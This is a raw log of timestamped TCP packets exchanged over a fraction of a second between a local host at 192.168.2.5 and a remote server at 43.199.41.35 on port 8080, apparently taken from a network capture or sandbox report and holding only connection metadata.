Nov 25, 2024 11:10:20.302520990 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.303247929 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.323122025 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.413912058 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.413928032 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.413975000 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.414298058 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.414388895 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.414434910 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.414994001 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.415155888 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.415213108 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.415823936 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.416004896 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.416040897 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.416809082 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.416824102 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.416860104 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.417783976 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.417907000 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.417946100 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.418560982 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.418615103 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.418656111 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.444386005 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.444402933 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.444466114 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.444879055 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.444910049 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.444950104 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.445605040 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.445980072 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.446022987 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.446074009 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.447149038 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.447189093 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.447217941 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.448080063 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.448095083 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.448117971 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.448817968 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.448858976 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.448877096 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.449511051 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.449553013 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.449572086 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.450385094 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.450428009 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.450459957 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.451370001 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.451414108 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.451463938 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.452209949 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.452220917 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.452250004 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.464184046 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.464236975 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.464266062 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.464988947 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.465033054 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.466438055 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.468417883 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.468431950 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.468444109 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.468456984 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.468466043 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.468470097 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.468489885 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.468530893 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.468569994 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.469222069 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.469264030 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.469547033 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.470366955 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.470379114 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.470419884 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.471129894 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.471167088 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.471309900 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.471927881 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.471966982 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.472141027 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.472856045 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.472893953 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.473004103 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.473680019 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.473717928 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.473856926 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.474644899 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.474692106 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.474788904 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.475461960 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.475498915 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.475780964 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.476895094 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.476933002 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.477400064 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.477417946 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.477447987 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.477555037 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.478210926 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.478251934 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.478341103 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.479269981 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.479309082 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.479417086 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.479897976 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.479934931 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.480046988 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.480853081 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.480890036 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.480998993 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.481645107 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.481684923 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.481843948 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.482578039 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.482637882 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.482723951 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.483506918 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.483550072 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.483647108 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.484455109 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.484493017 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.484638929 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.485378981 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.485395908 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.485418081 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.486191034 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.486229897 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.486346960 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.486977100 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.487013102 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.487194061 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.488055944 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.488074064 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.488096952 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.488879919 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.488919020 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.489028931 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.489725113 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.489769936 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.489880085 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.490665913 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.490677118 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.490711927 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.491616011 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.491635084 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.491660118 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.492376089 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.492415905 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.492563963 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.493329048 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.493367910 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.493498087 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.494244099 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.494287014 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.494396925 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.495035887 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.495073080 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.495182037 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.495906115 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.495944023 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.496043921 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.496243954 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.496282101 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.607470036 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.607573986 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.607633114 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.607860088 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.608186007 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.608231068 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.608787060 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.608799934 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.608831882 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.609556913 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.609730005 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.609774113 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.610512972 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.610671997 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.610714912 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.611460924 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.611479044 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.611516953 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.612389088 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.612401009 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.612447977 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.638199091 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.638319016 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.638370991 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.638468027 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.638736010 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.638775110 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.639502048 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.639672995 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.639719963 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.640431881 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.640444994 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.640482903 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.641309977 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.641459942 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.641500950 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.642247915 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.642390013 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.642431974 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.642973900 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.643115044 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.643151999 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.643877983 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.644032955 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.644071102 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.644787073 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.644941092 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.644984007 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.645570040 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.645839930 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.645883083 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.664833069 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.664849997 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.664863110 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.664875031 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.664920092 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.664972067 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.665133953 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.665385962 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.665426016 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.667906046 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.668195009 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.668241024 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.668847084 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.668997049 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.669035912 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.669297934 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.669310093 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.669353008 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.670173883 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.670190096 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.670238972 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.671086073 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.671235085 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.671281099 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.671919107 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.672091961 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.672135115 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.672841072 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.673001051 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.673041105 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.673818111 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.673835039 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.673877954 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.674635887 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.674653053 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.674698114 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.675432920 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.675610065 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.675659895 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.676383972 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.676544905 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.676588058 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.677136898 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.677299023 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.677350044 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.678177118 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.678191900 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.678253889 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.678945065 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.679100990 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.679146051 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.679868937 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.680010080 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.680051088 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.680910110 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.681062937 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.681103945 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.681663036 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.681921005 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.681972980 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.682686090 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.682703972 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.682759047 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.683459997 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.683613062 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.683655977 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.684350014 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.684506893 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.684551001 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.685300112 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.685466051 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.685525894 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.686008930 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.686095953 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.686173916 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.686223030 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.686407089 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.686909914 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.687220097 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.687268019 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.687994957 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.688148022 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.688191891 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.688905001 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.688916922 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.688961983 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.689670086 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.689816952 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.689852953 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.690448999 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.690609932 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.690655947 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.691395044 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.691562891 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.691600084 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.692354918 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.692521095 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.692564011 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.693274975 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.693288088 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.693325043 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.694036007 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.694340944 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.694377899 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.694955111 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.695120096 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.695156097 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.695955038 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.696129084 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.696166992 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.696729898 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.747118950 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.798455954 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.798482895 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.798537016 CET	49705	8080	192.168.2.5	43.199.41.35
Nov 25, 2024 11:10:20.798854113 CET	8080	49705	43.199.41.35	192.168.2.5
Nov 25, 2024 11:10:20.798979998 CET	8080	49705	43.199.41.35	192.168.2.5
